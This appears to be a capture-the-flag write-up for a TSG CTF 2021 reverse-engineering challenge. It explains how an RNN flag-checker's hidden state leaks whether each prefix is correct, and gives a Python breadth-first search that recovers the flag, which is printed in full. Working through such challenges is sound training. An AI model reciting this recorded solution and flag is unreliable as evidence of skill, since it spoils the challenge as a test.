Checking model.parameters(), I found the values are very regular, unlike a typical model, suggesting the parameters are specially designed. After some experiments, I printed the RNN's output step by step before flattening, and observed changes with different inputs. Finally, I found that if the characters so far are correct, the RNN vector will have at least one positive value; if incorrect, all values are negative. This property can be used to brute force the flag.

import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS


def sanity_check(text):
    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])


def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x


class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)

    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)


def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^" + text + "$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y


model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))

# text = input("input flag:")
# sanity_check(text)
# score = inference(model, text)
# print(score)
# if score > 0.5:
#     print("Congrats!")
# else:
#     print("Wrong.")

torch.set_printoptions(profile="full")

from collections import deque

# some checking
for f in ["^T", "^TS", "^TSG", "^TSGX", "^TSGC", "^TSGCTF{"]:
    xx = embedding(f).unsqueeze(1)
    h = None
    for x, y in zip(xx, f):
        h = model.cell(x, h)
    print(f, [i for i, x in enumerate(h.tolist()[0]) if x > 0])

# BFS
q = deque(["^TSGCTF{"])

while len(q) > 0:
    flag = q.popleft()
    print(flag)
    if (
        flag.endswith("}")
        and model(embedding(flag + "$").unsqueeze(1)).sigmoid().cpu().item() > 0.5
    ):
        print("FOUND", flag[1:])
        break
    for c in FLAG_CHARS:
        f = flag + c
        xx = embedding(f).unsqueeze(1)
        h = None
        for x, y in zip(xx, f):
            h = model.cell(x, h)
        if len([i for i, x in enumerate(h.tolist()[0]) if x > 0]) > 0 and f not in q:
            q.append(f)

# TSGCTF{mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN}

Crypto#

Beginner's Crypto 2021#

Minimalist's Private#

Baba is Flag#

With Lattice#

Flag is Win#

This is DSA#

Web#

Welcome to TSG CTF!#

Beginner's Web 2021#

Reverse#

Natural Flag Processing#